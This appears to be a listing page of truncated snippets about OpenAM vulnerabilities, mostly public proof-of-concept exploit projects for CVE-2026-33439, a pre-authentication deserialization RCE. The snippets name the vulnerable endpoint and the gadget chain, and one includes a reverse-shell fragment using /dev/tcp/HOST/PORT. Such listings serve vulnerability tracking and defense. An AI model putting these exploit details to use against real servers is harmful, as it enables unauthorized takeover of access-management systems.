CVE-2026-33439

🐞 CVE-2026-33439: OpenAM Pre-Auth RCE via jato.clientSession Deserialization Human insight + AI-assisted analysis + reverse engineering + advisory → exploit First publicly shared exploit implementation for CVE-2026-33439 Unauthenticated Java deserialization vulnerability in ForgeRock OpenAM...

OpenAM

Open Access Management OpenAM is an access management solution that includes Authentication, SSO, Authorization, Federation, Entitlements, and Web Services Security. Cross Domain Single Sign On CDSSO, SAML 2.0, OAuth 2.0 & OpenID Connect ensure that OpenAM integrates easily with legacy, custom, a...

CVE-2026-33439-PoC

CVE-2026-33439 — OpenAM Pre-Auth RCE Echo Mode Command output directly in the HTTP response — no DNS exfiltration or OOB needed. Uses com.iplanet.jato.RequestManager.getRequestContext to access the active JATO ThreadLocal request/response during deserialization. Works on Java 21+ where classic...

CVE-2021-29156

CVE-2021-29156 Proof-of-Concept c 2021 GuidePoint Security Charlton Trezevant [email protected] Background Today GuidePoint is pleased to release a functional Proof-of-Concept tool for CVE-2021-29156, an LDAP injection vulnerability in ForgeRock OpenAM v13.0.0. This vulnerability allows an...

CVE-2026-33439-OpenAM

CVE-2026-33439 is a pre-auth unsafe deserialization issue in OpenAM 16.0.6 affecting JATO ViewBean endpoints. Public advisories mention JATO endpoints but do not enumerate reachable routes. This research identifies /openam/ui/PWResetUserValidation as a reachable pre-auth JATO endpoint...

openam-CVE-2021-35464

openam CVE-2021-35464 tomcat command execution with echo. Project based on ysoserial and Java-Rce-Echo Building the project requires adding ysoserial.jar and jato-14.6.3.jar to dependencies. POST /OpenAM/ccversion/Version HTTP/1.1 Host: php.local:8081 Upgrade-Insecure-Requests: 1 User-Agent:...

OpenAM <= 16.0.5 - Pre-Auth RCE via jato.clientSession Deserialization

Open Access Management OpenAM is an access management solution. Prior to 16.0.6, OpenIdentityPlatform OpenAM is vulnerable to pre-authentication Remote Code Execution RCE via unsafe Java deserialization of the jato.clientSession HTTP parameter. This bypasses the WhitelistObjectInputStream...

LDAP Injection In OpenAM

OpenAM contains an LDAP injection vulnerability. When a user tries to reset his password, they are asked to enter username, and then the backend validates whether the user exists or not through an LDAP query. If the user exists, the password reset token is sent to the user's email. Enumeration ca...

OpenAM<=15.0.3 FreeMarker - Template Injection

OpenAM is an open access management solution. In versions 15.0.3 and prior, the getCustomLoginUrlTemplate method in RealmOAuth2ProviderSettings.java is vulnerable to template injection due to its usage of user input id: CVE-2024-41667 info: name: OpenAM=15.0.3 FreeMarker - Template Injection...

CVE-2026-33439-Python-PoC

CVE-2026-33439 Python PoC Standalone Python proof of concept for the OpenAM pre-authentication remote code execution vulnerability in jato.clientSession deserialization. The embedded shaded Click/Xalan gadget reads a shell command from the cmd HTTP header and returns its output in the HTTP...

CVE-2026-33439-Poc

CVE-2026-33439 Pre-auth RCE in OpenIdentityPlatform OpenAM via unsafe Java deserialization of the jato.clientSession parameter. Affected & /dev/tcp/HOST/PORT 0&1' Output is blind. The request blocks until the command exits, so timing confirms execution --command 'sleep 5' takes about 5s. For...

CVE-2026-33439-PoC

CVE-2026-33439 — OpenAM Pre-Auth RCE Pre-authentication Remote Code Execution in OpenIdentityPlatform OpenAM = 16.0.5 via unsafe Java deserialization of the jato.clientSession parameter CVSS 9.8. For authorized security testing only. Quick Start 1. Build payload downloads JARs from Maven Central ...

CVE-2021-29156

CVE-2021-29156 done right This Proof of Concept is realized because the other PoC publicly available is broken ✨ Install go install github.com/5amu/CVE-2021-29156@latest References https://nvd.nist.gov/vuln/detail/CVE-2021-29156 https://portswigger.net/research/hidden-oauth-attack-vectors...

openam-clean

CVE-2026-33439 — clean-room OpenAM PoC This package rebuilds the exploit path from source rather than embedding a third-party serialized Java blob. What it does: 1. Builds the public gadget chain documented for CVE-2026-33439: PriorityQueue - Apache Click ColumnComparator - Xalan TemplatesImpl. 2...

CVE-2026-33439

CVE-2026-33439 — OpenAM ≤ 16.0.5 Pre-Auth RCE Pre-authentication remote code execution in OpenIdentityPlatform OpenAM via unsafe Java deserialization of the jato.clientSession HTTP parameter. CVSS 9.8 Critical · CWE-502 · unauthenticated · single HTTP request · fixed in 16.0.6 Independent exploit...

CVE-2026-33439_poc

CVE-2026-33439 — OpenAM Pre-Auth RCE JATO Deserialization OpenAM exposes password-reset UI endpoints ui/PWResetUserValidation, ui/PWResetQuestion that deserialize the jato.clientSession request parameter without filtering. An unauthenticated attacker can supply a crafted Java serialized object so...

CVE-2026-33439-PoC

CVE-2026-33439 — Remote Code Execution in OpenAM An unauthenticated Remote Code Execution Pre-Authentication Remote Code Execution vulnerability affecting OpenIdentityPlatform OpenAM versions 16.0.5 and earlier. The issue is related to insecure Java object deserialization through the...

CVE-2026-121825

OpenAM OpenAM Consortium Edition 14.0.5 and earlier contains an open redirect vulnerability CWE-601 in the Liberty ID-FF service provider single sign-on flow. The goto parameter of the /preLogin endpoint is stored as the RelayState of the Liberty ID-FF authentication request without validation, a...

CVE-2026-121825

OpenAM OpenAM Consortium Edition 14.0.5 and earlier contains an open redirect vulnerability CWE-601 in the Liberty ID-FF service provider single sign-on flow. The goto parameter of the /preLogin endpoint is stored as the RelayState of the Liberty ID-FF authentication request without validation, a...

CVE-2026-121825 Open redirect in the Liberty ID-FF service provider single sign-on flow

OpenAM OpenAM Consortium Edition 14.0.5 and earlier contains an open redirect vulnerability CWE-601 in the Liberty ID-FF service provider single sign-on flow. The goto parameter of the /preLogin endpoint is stored as the RelayState of the Liberty ID-FF authentication request without validation, a...